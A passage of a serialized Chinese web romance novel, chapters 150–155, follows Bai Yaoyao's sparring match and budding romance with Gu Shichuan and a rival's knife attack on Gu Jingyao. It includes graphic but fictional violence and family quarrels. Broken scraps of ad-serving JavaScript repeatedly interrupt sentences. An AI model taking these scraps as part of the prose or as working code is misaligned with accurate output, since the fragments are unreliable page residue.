她是只有他看得到的鬼,而他自己是那样的…… 白幺幺身影刚出现在这个世界的房间里,身体第一时间莫名其妙的打了个激灵,紧接着鼻头一痒,还打了两个喷嚏。 揉了揉鼻头,白幺幺同志不由得阴谋论起来。 难道是女主在说她坏话? 等着啊! 白幺幺小跑去隔壁白母的房间瞧了瞧,见人还没醒来,不过看情况差不多再过半小时也该醒来了。 给人喂了点温水,白幺幺哒哒哒又跑回自己房间。 其实在那个世界的几天里,白幺幺一直在压抑自己,压抑着心中的那股戾气。 而这股戾气是在梦中世界就产生的,随着时间流逝依旧无法排解。 她知道自己这样子不行的,需要发泄出来。 这不,女主自己“送上门”来找存在感了。 只是白幺幺才打开电脑,就被弹窗跳出头条新闻标题吸引了目光。 白幺幺:“???” 谁干的,谁把她的活抢去做了。 白幺幺现在是不仅戾气没消,心中还多了股憋屈。 真真是短短几个小时,颜氏这样的大企业已经有了大厦将倾的趋势,摇摇欲坠的,彻底倒闭应该是没几天的事了。 白幺幺不用想,也知道是谁干的了。 这叫什么,冲冠一怒为红颜,然后她是那个红颜? 白幺幺是女人,生气的女人是不讲道理的。 她拿起手机准备给某人打电话,看见某人在离开后不久还给她发了条短信。 皱着眉点开,瞅了瞅短信的内容:今天见到你很高兴。 白幺幺:……很高兴,就能不经过她同意,送她这么大一份礼! 白无理取闹幺幺上线,她手指快速的在手机上打字,没几秒就搞定发送了。 她这边一点击发送,那边等回复等得花儿都快谢了某人听到短信提示音,第一时间放下手中的钢笔去拿手机。 “是吗?你现在在哪,还没回去的话,咱们晚上找家武馆好好练练怎么样?” 顾石川逐字逐句的将短信内容读出来,读到最后,他眉心蹙紧了。 她好像生气了? 可是为什么呢? 难道他短信内容有问题? 没这方面经验,顾石川一时想不明白,还是决定先回短信。 知道对方应该拿着手机在等他回复,这回顾石川回复内容编辑得挺快的。 编辑完,也只是自己读了一遍,就点击发送。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “我还没回去,女孩子偶尔练练拳脚,锻炼下身体挺好的,晚上七点左右我过去接你可以吗?” 然后他很快就收到了回复,一个字,行。 对方如此配合,问白幺幺舒坦了吗? 答案肯定没有。 在那梦中,她被勾起了杀人的欲,那小娃娃了。 他长大后,又记得多少。 能做那样的噩梦,是不是代表全部都记得。 那他…… 白幺幺放下手机,烦躁的抓了把头发,重重吐了口气。 白母醒来时,白幺幺刚好将最后一道菜装盘端到餐桌上,听到房间里有动静,忙跑进去。 “妈,你感觉怎么样?” 白母没有第一时间回答她的问题,而是神色紧张的将她从上到下看了两遍,才捂着胸口一阵 后怕起来。 “没事,还好你没事,要是你出什么事,妈还怎么活呀。” 白幺幺忙上前抱着人,轻声安抚道:“妈,我没事,我这不好好的,而且我多大的人了,坏人上门时,我就机智的偷偷报警了。” “警察叔叔还是很给力的,迅速出警,很快就将你从坏人手中解救出来了。” 白母心跳很快,显然不是一时能被白幺幺的话安抚住的。 她反抱住人,力道很紧,像是要把她的孩子重新溶入骨血中般似的。 被抱疼了,白幺幺并没有吭声,她知道这个时候白母就是需要这行为来证明一切都过去了。 毕竟也算是经历过大风大浪,还是一名独自拉扯女儿长大的单亲妈妈,白母很快就调整好情绪。 她几次张嘴,最后还是有些支支吾吾的问道:“她……那两个……就是她们……你……” 白幺幺知道她在问谁,接话道:“妈,你是想问我爸爸的父母他们去哪了吗?” 白母皱着眉点头,眼里是藏不住的关心。 “两个老人有没有对你做什么?” 当年白父去世,两个人老人站在其他两个儿子那边,欺负她们孤儿寡母的。 意思意思给个三瓜两枣,可以说是,强占强抢了夫妻俩积攒好几年的全部家当。 第150章 大佬的舔狗青梅之错位时空的爱恋(37) 简直不给她们孤儿寡母活路。 最让白母难以接受的是两个老人竟然想把她的女儿抢走。 对外说得好听是他们儿子没了,以后孙女由他们养。 而她爱回娘家就赶紧回,不然就赶紧找人改嫁,反正就是别赖在他们家。 白母哪里不知道他们为什么会突然要抢着养女儿,还不是想养段时日,最后把人卖去邻村一户有钱人家做童养媳。 那户人家的儿子是个什么情况,这附近十里八村的谁不知道。 农村人具体也说不清楚那孩子得了什么病,就知道三岁了,全身软得跟没骨头似的,这辈子只能躺在床上让人伺候着。 在她男人还没去世时,那户人家放话要找童养媳时,老太太就让他们把女儿送过去,然后抓紧再生个大胖小子。 这些个腌臜事,白母一点不想让女儿知道,也不想让她沾惹。 白幺幺摇头,调皮的眨了眨眼睛。 “妈,你瞧瞧我这机灵劲,怎么可能让人欺负了去。” 白母轻拍了下她的手,“你这孩子,反正以后注意点,你……爷奶两个都不是什么好人,以后见到他们,你就躲开,或者赶紧给妈妈打电话。” 白母心中的担忧并没有淡去,她甚至动了大不了搬离这里的想法。 时间很快到了约定的点,白幺幺早早就和白母说要去武馆的事。 白母听了,只以为她是被今天的事影响到,才突然想去学点防身术。 反正白母是很支持的,女孩子多学点自保的手段很好。 白幺幺出门走出一段距离后,才找到顾石川的车。 不可否认,她还是挺满意对方的上道,没有把车开到她家门口,更没有直接上门。 白幺幺一上车就闭上眼睛,倒不是累了,就是暂时不想和某人交谈。 而很想和她说话的顾石川见她这样,在旁边安静的坐着,坐得笔直。 以为她是累了,全程都很安静,尽量不发出声响来,生怕打扰到她休息。 车子行驶二十几分钟后,停在一家武馆前。 就在顾石川纠结犹豫要不要把人喊醒时,白幺幺倏地睁开眼睛。 “你盯着我看干吗?” “我……我没有。” 担心被小姑娘当成痴汉变态,顾石川忙解释道:“地方到了,我看你还没醒,就犹豫着要不要把你叫醒。” 白幺幺:……其实不用回答那么详细的,她也就是下意识脱口而问。 “哦。” 她推门下车,反正心中那股戾气没发泄出来,她暂时疲于应对任何人任何事。 见她下车,顾石川也忙跟着下车,徒留司机一人在车中凌乱。 白幺幺走进武馆,视线随意扫了下,就发现不对劲。 她回头看向身后的人,“你把这里包场了?” 顾石川点了点头。 他是考虑到她现在这副身体之前都没学过武,到时旁边有人在观摩,一时半会学不好,小姑娘应该会很难为情的吧。 白幺幺没多说什么,有能力包场就包场。 两人很快就都换好衣服出来。 顾石川刚想问需不需要找个教练过来,或者他……他亲自来教她怎么样。 只是白幺幺没给他说话的机会,直接出手了。 身体本能地出招格挡,紧接着做出反击动作。 等反应过来攻击他的人是谁后,顾石川尽最大可能收住力道。 白幺幺瞧出她的意图,当即皱眉,“不许放水,用全力。” 顾石川:“……” 他身形停顿了下,凝眸看向她,用眼神询问“你确定?” 白幺幺微眯了下眼,“确定,好了,别磨磨唧唧的,是男人就快点上。” “好。” 行家一出手便知有没有,顾石川知道她的身手不错。 而他更能感觉到她状态很不对,明明两人分开时,她还好好的。 这期间到底发生了什么? 还是她知道一切幕后是颜家的手笔,更知道了,他们想让她嫁给…… 原本还想让颜氏苟延馋喘上一段时间的,看来等下回去还是要加快进度。 还有白家人…… 察觉到他在分神,白幺幺出招更凌厉了,同时出声提醒道:“再分神,我打……打断你的第三条腿!” 顾石川: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “???” 他在脑中反应了一秒,才反应过第三条腿是指…… 这下不仅脸红脖子红,裸露在外的皮肤瞧着都红了。 毫不夸张的说,整个人就像一只煮熟的虾。 “……你,我,我不会给你这个机会的。”顾石川小小声的说道,声音足够白幺幺听见。 白恶霸幺幺上线:……那种调戏良家妇男即视感是闹哪样?! 白幺幺朝人翻了个白眼,趁人不备时,给他来了个过肩摔。 顾石川只是闷哼一声,随即起身,两人继续缠斗在一起。 他发现,如果对方拥有和他一样的身体素质,那他不仅赢不了,还只能支撑不到半小时。 顾石川没有怀疑什么,只因她是她。 他心里甚至与有 荣焉,感叹果然是她! 打这一架,白幺幺纯粹是为了发泄,而不是为了赢。 技巧她没用,就是不断的出招,近似一种蛮横不要命的打法。 两人你来我往的,半个小时很快过去了。 打到最后,顾石川简直快心疼死了。 拳脚无眼,即使他再如何小心,有些时候也还是伤到人了。 至于他自己受到的伤,那是根本没放心上。 两人又打了十几分钟,顾石川觉得这样下去,她身体会吃不消的,还是决定速战速决。 一番激烈的缠斗后,两人一起摔到地上,翻滚,最后呈男上女下的姿势。 这一摔,白幺幺心中憋着的那股气一下子泄了。 她大口大口的喘着气,手脚都被压在身上的人紧紧桎梏住,她也没急着想要解放它们。 气息平稳不少后,白幺幺再次抛出了那个她比较关心的问题。 “你幸福吗?” 顾石川:“……” 她……她又问他这个问题了。 顾石川不知道自己的眼眶什么时候红了的,黑眸蒙上一层水雾,却始终没有凝聚成滴滑落。 白幺幺:“……” 白幺幺懵了。 她的一个问题就差点把人惹哭了? 怎么可能,这绝对是在碰瓷!!! 第151章 大佬的舔狗青梅之错位时空的爱恋(38) “你都这把岁数的老……大男人,不许哭!” 白幺幺心里咯噔一下,差点把“老男人”三个字脱口而出,还好及时改口了。 不然到时原本还只是红了眼眶,一副要哭还没哭的模样,因为她这三个字直接哭出来,怎么办? 感觉只说这么一句话还不够,有点软绵无力,白幺幺又奶凶奶凶威胁道:“你那眼泪要是敢掉下来,我真的会揍你的哦!” 白幺幺同志就是这么的现实与双标,在对待小娃娃,小孩以及男人上。 没办法,年龄的优势和劣势在她这就是表现得如此明显。 白幺幺同志暗暗在心中给自己找了多种借口,反正她就是不承认自己心虚了。 她不反感男人哭,但前提不要是被她惹哭的呀! 不然这搞得她多像是个渣女! 顾石川:“……” 哭? 不可能,他怎么可能哭。 还有她刚刚说了个“老”,后面又马上改口了。 是不是,是不是她又恢复更多记忆了。 “我没哭。” 顾石川故意咬着牙从齿缝中挤出这个几个字来,不想让人听出他声音中的异样来。 “哦,没哭就好。” 白幺幺抿了抿唇,心中悄然松了口气。 天知道,她刚刚看到人眼眶似乎更红了些,已经开始寻思着等下人要是真哭了。 揍人是不可能真揍人的,怎么哄人才是关键。 “好了,赶紧先起开,不知道自己很重的吗?” 白幺幺语气颇为无奈的嘟囔,同时想抽回自己的手。 顾石川这会才后知后觉的反应过来,他们两人此时的姿势要多暧昧就多暧昧。 他不仅压在她的身上,手也紧紧擒住她的手。 平静的心湖仿佛被投入了一块巨大的石头,心脏扑通扑通跳得很快。 此刻,他别说是脸刷的红透了,脑袋更是直接宕机了。 抽了几下,没能把手抽回来。 而身上人一时也没有要起来的意思,竟还直接红着一张脸发起呆来。 白幺幺:“……” 要不先等人发完呆? 发泄完后,她自己现在是情绪调整得七七八八了。 但吧,她总感觉这人今天情绪有点不正常。 毕竟都红眼眶,红眼眶了呀! 顾石川回神后,眼神飘忽,不敢与身下人对视。 “抱歉。” 顾石川有些不舍的松开白幺幺的手,快速起身,而后朝她递出一只手。 此刻顾石川内心还是很紧张,用尽全力不让伸出去的那只手打颤。 既期待她能把手交给他,又紧张害怕期待落空。 本想自己麻溜爬起来的白幺幺:……要不,还是照顾下对方情绪。 把手搭在对方的手上,白幺幺借力起身。 这次不用白幺幺提醒,等她一站稳,顾石川就立马不舍的松开手了。 气氛一下子安静下来。 两人相对站着,对视彼此。 白幺幺心里在琢磨,要不要将问题重新问一遍。 可是,有了前面那状况。 白幺幺同志纠结,不明白那个问题到底哪一个字踩了他泪点。 她才刚问完,人立马给她红眼眶了。 有些男人最看不得女人哭,同样的,有些女人也最看不得男人哭。 当然吧,哭这种行为多种多样的。 有些人哭起来楚楚动人,让人心生怜惜,有些人哭起来吵死了,让人心生烦躁,还有些人…… 呃,想远了。 白幺幺同志及时刹住车,她情不自禁的挑了挑眉,还扒拉了下头发。 本就因为刚刚打斗而有些凌乱的头发,一下子更凌乱了。 顾石川视线就没从人身上离开过,瞧见她这又皱眉,又……抓头发的,也跟着皱眉,眸中是显而易见的关心之色。 “你是遇到什么烦心事了吗?可以说给我听听吗?” 顾石川话一说出口,就隐隐有些后悔了,担心自己这样会不会太唐突了,太冒昧了。 亦或者,对方会不会觉得他……他太八卦,一点边界感都没有,竟然这样大剌剌的想要探听女孩子的心事。 白幺幺可不知道男人心中的纠结,既然对方问了,她就直言了。 “刚刚我不就是问了你一个很平常普通的问题,你干嘛直接红眼眶了,一副要 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 哭的样子?” 白幺幺想了想,还是直接点,迂回来迂回去的,这不纯纯浪费时间。 顾石川:“……” 他……刚刚真的红眼眶了吗?还做出一副要哭的样子了吗? 啊! 顾石川心中有个小人在尖叫。 怎么办? 她似乎很在意这点,她是不是很讨厌男人哭? 肯定是了,他自己是男人,也最看不得大男人哭哭啼啼的。 糟糕,她……她会不会觉得他这样不够男人,因而对他有了不好的印象。 可是,可是他要怎么和她解释,解释他平时不这样的,今天这是特殊情况。 白幺幺:“???” 咦,怎么不说话? 还又发起呆来了,而且这表情也有点不对劲呀! 白幺幺同志不免开始反思自己的话,最后,当然是觉得她说的都没毛病。 白幺幺抬手在男人面前晃了晃,“你在想什么?是我刚刚说的话又有什么问题了吗?” 她是觉得没毛病,但直接问下对方不是更好。 顾石川羽睫轻颤了下,摇头,表情陡然严肃诚挚起来,一副就差竖起手来发誓的模样。 “我不爱哭的,刚刚会红眼眶,那是意外,你不要误会了。” 白幺幺点了点头,“我知道,我也没误会。” 她就是再迟钝,也知道男人在纠结什么了。 她想起了一首歌,男人流血不流泪…… 顾石川松了口气,才又道:“就是你刚刚的问题,我想说,我现在很幸福。” 虽然不明白她为什么很喜欢问他这个问题,但顾石川还是给出了答案。 她回来了。 他找到她了。 有她在身边,他就很幸福。 白幺幺:“!!!” 所以,她这回啥事都不用干,就…… 顾石川小声,羞涩,难为情的补充道:“只要……只要你不要再离开我。” 白幺幺:“???” 啥玩意儿。 最讨厌这种话说一半,停一下,才又说另一半的。 不过,白幺幺皱了皱眉,终于发现不对劲了。 第152章 大佬的舔狗青梅之错位时空的爱恋(39) 信息量有点大。 白幺幺同志觉得她要回去理理。 别误会哈,她肯定不是犯怂,想逃避啥。 当然这种时候,也必须先把人稳住。 “呵呵,是……是吗?” 她说完,忙低了低头,一副比对方还羞涩难为情的模样。 没办法,对方太会撩了。 那话,跟在告白简直没差别,一样的直白,露骨。 果然,有时候,爱情来得太快,就像龙卷风。 白幺幺此时脑中就被卷的七零八落的,真有些招架不住。 “今晚就到这里吧,我要回去了,不然回去太晚,我妈会担心的。” 顾石川头脑发热的把话说出口,其实下一秒就又后悔了。 反正他也已经认命了,只要一对上她,他总是像失了智般。 不仅语言系统秒退化,就是性格都出了问题,容易陷入纠结,犹豫,后悔等情绪中。 见人脸上没有皱眉,冷脸,和露出他害怕看到的神情,而只是害羞的低下头去。 顾石川心中真的狠狠松了口气。 听到人说要回去了,他忙道:“好的,我送你回去。” 两人就此暂时分开去换衣服。 也不知道是两人都有心事,还是都有点在逃避啥。 反正,两人这次换衣服的时间有点长呀。 上车前,两人眼神不经意交汇,彼此都像触了电般,赶紧移开。 车内,两人一人坐一边。 白幺幺一上车就侧头看向车窗外,顾石川原本是正襟危坐的,后面也跟着侧头看向车窗外。 一路上,两人都没再开口说过话。 车内很安静,或许这就叫做默契,都觉得彼此需要安静的想想。 车内存在感很弱的司机:……三爷这是和人家小姑娘闹矛盾呢? 要不是胆子不够肥,他真的很想给三爷提提建议。 小姑娘么,是需要哄着的。 咱们大男人,遇到事最忌讳就是不好好处理,冷战啥的真要不得。 一副要操碎老妈子心的司机:……三爷好不容易铁树开花,他要不给自己壮壮胆,等下硬着头皮给三爷充当一回恋爱军师。 路况很好,一路疾驰,很快就到地方了。 车子停下后,司机往三爷那边偷瞄了下。 瞅见三爷还坐在那,不道个别,说个再见。 更没有下车去给人家小姑娘开车门的意思,他心里那个着急哟。 我的三爷,虽然咱们身份不一般,可是追女孩子那也不是一般事呀! 这种时候,就必须不能端着,要主动下车给人家小姑娘开开车门。 就算人家小姑娘不需要,咱们男人好歹做做样子。 态度,这叫态度。 现在小姑娘在意的不是你为她做了什么,她要的是一个态度。 这小姑娘还没追到手前,可千万不能掉以轻心。 顾石川可不知道前方的司机心理活动如此丰富,或许知道了话,他还真有可能和人取取经。 他此时是有点出神的,车子停了都没注意到。 白幺幺开车门下车,车门重新关上的声响才将他拉回神的。 他慌忙打开车门下车,而在他没注意到的地方,司机轻轻舒了口气,脸上还疑似露出了淡淡的姨母笑。 司机:……不是,我没有。 不过有时候,很多事情就是这样,皇帝不急太监急。 小姑娘开车门都下车了,他们三爷竟然还“稳坐钓鱼台”,简直快把司机急死了。 白幺幺听到动静,回头疑惑道:“你怎么下来了?” 下车前,她是有想过要和人说下再见,可是瞧人一副魂游天外的模样,她下意识没去打扰。 “我……我送送你。” 顾石川想到她的顾虑,忙又说:“我就远远跟在你身后,不会让人误会我们是一起的。” 白幺幺:“……” 她脑中冒出一个想法,自己要是不让送,人会不会又红眼眶了。 白幺幺想了想,要送就送呗。 她朝人点了点头。 月光下,两人一前一后的走着,相隔有个十几米,反正不超过二十米。 司机在车上并没有听到两人对话,所以看到自家三爷只是远远跟在人家小姑娘身后,不免又开始急了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还有十几步路就到的时候,白幺幺回头朝人挥手再见,同时也让人赶紧回去的意思。 顾石川停住脚步,目送她的身影消失有一会儿,才转身离开。 回到车上,顾石川第一时间发现前面司机似乎有话要说,一副欲言又止的模样。 他淡声道:“说。” 得令后,司机反而一下子破了胆,有点怂了。 顾石川:“???” 他微蹙了下眉,难道自己会错意了。 就在他准备闭目养神时,司机回头语气不确定的问道:“三爷,你是在追求白小姐吗?” 追求? 经司机这么一提醒,顾石川眉心蹙得更紧了。 司机瞧见他的神色变化,心里不禁打起鼓来,以为自己会错意了。 他们三爷这棵铁树依旧连个花骨朵儿都没冒出来了。 司机忙道:“抱歉,三爷,是我多想,还多嘴了,下回我会注意,一定不会再犯的。” 顾石川:“???” 他难得解释道:“你没多想,我的确在追求她,不过我表现的有这么明显吗?” 司机:……他的心脏哟,坐过山车也不过如此。 司机忙不迭的点头,简直不要太明显。 顾石川耳后根微微发红,心里在想,这么明显的话,那她…… 司机有个处了三年的对象,刚好今年年底要办婚礼,所以他是个有经验的,立马瞧出顾石川所想。 “三爷,依我多年的经验来看,白小姐对您绝对有意思,不过……” 司机说到关键处,停下来了,似是在询问他还能继续说下去吗? 顾石川问道:“不过什么?” 司机打开话匣子,从追求讲到恋爱,最后抱得美人归,各种技巧以及注意事项,完全是把他能想到的都说一遍。 车里,一个讲,一个听,讲的人那叫一个绘声绘色,听的人那叫一个认真,就差拿纸笔做笔记了。 之后连续几天,白幺幺早上在家陪着白母,下午和顾石川去武馆打上一架,晚上则花几个小时跑去另一个世界。 这天早上,白幺幺同志刷手机时,被一条新闻震惊得嘴张成了o型。 第153章 大佬的舔狗青梅之错位时空的爱恋(40) 太狠了!一女子疑因感情纠葛就捅破搅碎男子的双蛋!!! 白幺幺纯属是好奇这该不会又是什么标题党,才点击进去瞧瞧的。 大家真的别误会哈,她真的不是因为又是“捅破”,又是“搅碎”,又是“双蛋”,嗯,组合起来的这六个字而点进去的哦。 不过,万万没想到,会让她吃到如此大的瓜。 幸好她点进去了。 视频很短,不到一分钟,里面的人都打了马赛克。 可是白幺幺还是一眼就认出视频中的拿刀行凶的女子就是女主。 那么,她有了个大胆的猜测,视频中的男主人公会不会就是男主。 白幺幺反复看了好几遍视频,头几次,看到拿刀插入男人那里的时候,她都止不住的倒吸口凉气。 妈妈呀,尽管她没蛋,但瞧着都能感觉到淡淡的疼。 女主真的好疯啊! 她在全网查找了下,都没找到更多关于这事件的视频,而且这事是发生在昨天傍晚的。 白幺幺想了想,应该是男主家出手了。 想到顾远山,白幺幺同志还真幸灾乐祸不起来,挺替这老爷子可惜的。 最看重的孙子,如今成了……阉人…… 啧啧,也不知道老人家受如此大刺激,身体怎么样。 貌似于情于理,她应该上门去看看老人家的。 同一时间。 顾氏投资的一家医院的高级病房里,一个风韵犹存的贵妇人正冲着专家医生们歇斯底里大吼大叫。 “什么叫你们也无能无力?” “我们顾家一年花那么多钱养着你们,现在需要你们的时候,一个个跟我说无能为力!” “都低着头做什么,就是想破脑袋也要给我想出法子来。” “移植,心脏都能移植……” “不对,移植了,我儿子以后是生的还是我的儿子的种吗?” “再生,对,研究再生,赶紧去找专家找团队,我们顾氏砸钱研究……” “一个个还杵在那做什么,动起来,动起来啊!” “还需要我来给你想方法吗?” …… 等医院的工作人员都出去后,贵妇人又将炮口转向沙发上坐着的中年男人。 “顾明生,儿子出了这么大的事,你还能坐得住?” “还有爸呢?他就昨晚来那么一会儿,到现在都还没再过来,他这是什么意思,什么意思啊!” 中年男人,也就是顾明生皱了皱眉,动了动嘴唇,最后还是继续保持着沉默。 没得到回应,贵妇人那嘴就像机关枪,乱枪扫射。 “顾明生,你就承认吧,不是亲生的,就是永远无法当作亲生的来看。” “就是因为你不是爸亲生,你儿子出了这么大的事,他才不紧张,要换成别人,早不知道昏倒几次了。” “呜呜,我那苦命的儿子啊,顾明生,你说话,说话啊!” “颜家那个疯子还是因为老爷子牵线,两家关系才会越走越近的,两个孩子更是青梅竹马一起长大。” “可谁知道,那丫头就是个疯子,疯子,恶毒至极,呜呜,我的儿子啊,被那毒妇害了一辈子,一辈子啊!” “还有咱爸,他……” 顾明生最终还是没忍住低喝道:“好了,闭嘴!” 顾明生这一声低喝就跟捅了马蜂窝,贵妇人不仅情绪更崩溃了,还不管不顾的朝他扑来。 “顾明生,你个没良心的,你竟然敢吼我。” “我,我打死你个没良心的,别以为我不知道你在外面养的小情人早几年就给你生了个儿子。” “你个渣男,你个负心汉,要不是我的宝贝儿子争气,你是不是早早就把外面的野种接回家来了?” “顾明生,我告诉你,没门,顾家的一切以前是我儿子,以后也只能是我儿子的。” “你要是敢动什么歪心思,到时就别怪我狠,你就等着和那野种一起当阉人吧!” “哈哈,既然我儿子都成这样了,一家人总要齐齐整整的……” 贵妇人话还没说完,就被顾明生擒住手, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 而后用力朝旁边甩去。 “够了!我已经忍你很久了,你要是继续这样闹下去,儿子醒来,怕是承受不住,再难振作起来。” 顾明生说话时牵扯到嘴角刚被贵妇人指甲刮出来伤,轻嘶了声。 瞧见女人有了冷静下来的趋势,他长长叹了口气。 “不管你信不信,我不会把外面那孩子接回来的,儿子的情况,还没到让我无情放弃他的地步。” “你自己好好回忆回忆,平时我对儿子的爱和关心可是一点不比你少,你与其这样疯吵疯闹,还不如好好想想等儿子醒来,怎么给人做思想工作,让他振作起来。” 顾明生语气渐渐温和起来,眸光却越发深沉。 “我记得咱们儿子十八岁生日那天,自己跑去医院冷冻了精子,未来咱们给儿子挑选一个不错的儿媳妇,直接让人试管生几个孩子,咱们儿子不就后继有人了。” “反正你放心,我以后的一切绝大部分只会传给咱们儿子,至于外面那个,我最多 留笔足够一辈子衣食无忧的钱给他。” 顾明生可谓说得情真意切,就差举手发誓了。 也不知道他的那句话说动了贵妇人,她神色已经平静下来,一点也看不出之前撒泼挠人的样子。 “顾明生,今天你说的这些话我记住了,将来你要是敢食言,就别怪我心狠当个毒妇了。” 顾明生轻皱了下眉,“你,你又说这些,我是什么人你还不清楚。” “没错,我是犯了全天下男人都会犯的错,可这就是个小错,我最看重还是咱们这个家,以及咱们儿子,外面那些莺莺燕燕不过是偶尔的调味品,我自己有分寸的。” 贵妇人似是被说动了,神色缓和不少,不过还是朝着人冷哼一声。 “男人的嘴骗人的鬼,反正顾明生,你最好说到做到。” 之前病房里吵闹的声音如此大,病 床上的人都没被吵醒。 这会儿,病房慢慢安静下来,病床上的人反而悠悠转醒了。 顾景尧醒来时,脑袋很重,一时还没有思考能力。 第154章 大佬的舔狗青梅之错位时空的爱恋(41) 他声音嘶哑的喊着人,“爸,妈……” “我这是怎么呢?头有点痛。” 贵妇人听到声音,忙转身朝病床扑去。 “阿尧,妈妈的宝贝儿子你终于醒来了,呜……” 贵妇人呜出一声后,想到什么,赶忙将哭意忍回去。 而贵妇人的声音,像是打开了顾景尧记忆的某把锁,他脑袋一下子清明起来,也想起了…… 颜晞月昨天约他见面,说是想做最后的告别。 考虑到两人青梅竹马的情谊,以及颜家破产,对方现在情况应该很不好,最后顾景尧还是去赴约了。 如果早知道颜晞月就是个神经病,疯子,顾景尧说什么都不会去赴约的。 见面后,颜晞月就哭哭啼啼的诉说着对他的爱,最后竟然还问他愿不愿意和她一起出国。 这种问题还用问,他一直对她都只有兄妹之情,完全没有男女之情,这点他不知道和她说了多少遍。 再说了,哪怕他对她真的有情。 可他们顾家基业都在国内,他以后也是要继承顾家的,怎么可能为了儿女情长,跟她出国。 听到他拒绝后,她就开始期期艾艾的掉眼泪。 有那么一瞬间,的确哭得他有些于心不忍。 所以在她提出让他先闭上眼睛,说是离别前有个惊喜要送给他时,他还是很配合的照做。 他心中大概猜出对方要做什么,无非就是想在离别前向他索个吻,又害怕他会拒绝,所以才想出这样个法子来。 当钻心的疼痛袭来时,顾景尧霍的睁开眼睛,满眸的惊愕与不可置信,以至于他都没有来得及做出什么反应。 眼前的世界仿若瞬间失去了色彩,灰扑扑的一片,耳边全是女人癫狂的声音。 “阿尧哥哥,为什么?为什么?” “我是那么爱你啊,阿尧哥哥,我家破产了,破产了,没了颜氏身份这层身份在,我知道我们就再也不可能了。” “可是,可是我真的不甘心,不甘心啊,所以我把阿尧哥哥你约出来了,我想试着最后争取下。” “你,你为什么要拒绝我,我们从小一起长大的,你小时候不是也很喜欢我吗?” “还有你小时候自己说过的,长大后要娶我做新娘的,果然男人自古多薄幸,不管我多么努力的追着你跑,你长大后还是变心了。” “阿尧哥哥,我爱你爱到都可以把命给你,可是你……” “所以,阿尧哥哥,你别怪我,我就是太爱你了,爱到没办法接受你和其他女人在一起。” “就算看不到,光想象那个画面,我也无法接受。” “哈哈,阿尧哥哥,你这辈子只能是我的,我的,如果我得不到你,那么其他人也别想得到。” “呜呜,本来我举着刀是想捅在你心脏上的,可是,我真的太爱你了,举起刀的那一瞬间,我竟然还是有点下不去手。” “阿尧哥哥,我下不去手呀,你为什么就不能回应下我的爱,等我去了国外,只要想到你在我看不见的地方,和别的女人卿卿我我,在床上颠龙倒凤,我……” “哈哈,哈哈,我脑中灵光一闪,终于知道要怎么杜绝这种情况发生了,男人么,只要没了那作案工具,不就老实了……” 老实了! 老实了!! 老实了!!! 顾景尧脑中萦绕着这三个字,犹如魔音入脑。 他记起来了,他全都记起来了。 昨夜他就醒来过一次,只因无法接受自己成了阉人,再次昏死过去。 “啊!” “啊,滚,都滚出去。” “滚啊,你们快滚出去……” 病房里响起顾景尧歇斯底里的声音。 遇到这种事,没哪个男人接受得了的。 贵妇人见儿子这样,捂着嘴难受的低低呜咽起来。 她的儿啊,她那么优秀的儿啊,老天爷为什么要这么对待她们母子俩。 这种时候,还是男人更顶用。 顾明生上前,对着发疯的顾景尧脸上就是一巴掌。 清脆的巴掌声,不仅将顾景尧打 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 安静了,就连贵妇人也骤然停止哭泣。 就在贵妇人反应过来,顾明生竟然敢打她儿子,想朝扑过去时,被他一记眼刀定住了。 “冷静下来了!” 顾明生沉声道:“阿尧,从小到大,你就聪明优秀,从没让爸爸操心过,爸爸知道遭遇如此事,对男人来说很难以接受,可是你要知道自己并不是普通人。” 顾明生停顿了下,声音铿锵有力。 “你是顾远山的孙子,你是我顾明生的儿子,你未来是要继承顾氏的,爸爸相信你能想明白,也能振作起来的。” “不过是失去点男人的乐趣,真没什么的,男人最重要的是事业。” “还有,你不是已经在医院冻精了,到时找个女人做下试管,想要几个孩子没有。” 顾明生挑了挑眉,想到什么又说:“你爷爷不是给你定了门娃娃亲,听说对方不久前找上门来了,我觉得那孩子就挺适合的,没啥背景好拿捏。” 贵妇人这时皱着眉插话道: “不行,我不同意,那种没背景的乡下丫头,怎么配得上我儿子。” 紧接着贵妇人又是一声冷哼,“我儿子就算现在身体受了点伤,可他的身份与优秀摆在那,不说找个顶级豪门贵女,起码家庭条件也不能和我们相差太大。” 顾明生等贵妇人说完,才没好气道:“儿子现在啥情况你不清楚,找个条件好的,到时给你儿子脸色看,或者耐不住寂寞红杏出墙,怎么办?” “她敢!”贵妇人眸中露出阴狠的神色。 顾明生继续说道:“相信我,找个没背景的对咱儿子来说最好了。” “还有你是不是忘了一件事,那女孩可是老爷子救命恩人的女儿,他心里可看重那女孩了,咱们儿子要是娶了那女孩,其中好处不用我多说吧!” 贵妇人被说得神色渐渐松动,就在她要勉强点头同意时,病床上的顾景尧开口说话了。 “爸,妈,我要娶颜晞月。” 顾景尧是冷静下来了没错,可是心中的恨意怎么可能说没就没,就是想压都难压下来。 第155章 大佬的舔狗青梅之错位时空的爱恋(42) 口口声声说爱他,却反手把他害成这样,可以说他这一生差点就要完全毁掉了。 顾景尧心中恨意滔天,此等大仇,他必须亲自动手报才解恨。 而且,男人才明白男人。 现在他,哪怕有家世相当的女人肯嫁给他,他也不会娶的。 他的话一出,贵妇人也就是顾母又是第一个跳出来反对的。 “不行,儿子,妈不同意你娶那个疯女人进门,那贱人把你害成这样,我不仅要把她送进去吃牢饭,还要让她在里面吃尽苦头。” 说起来,不愧是亲母子,顾母对颜晞月的恨可不比顾景尧少。 顾景尧还没醒来时,顾母全部心神扑在儿子身上,暂时顾不得处理颜晞月。 不过,在医院中,每每看着儿子那张苍白无血色的脸,顾母脑中就冒出无数种阴毒的想法。 反正敢害她的儿子,这辈子就都别想好过。 顾母一说就没完没了,情绪还越来越激动。 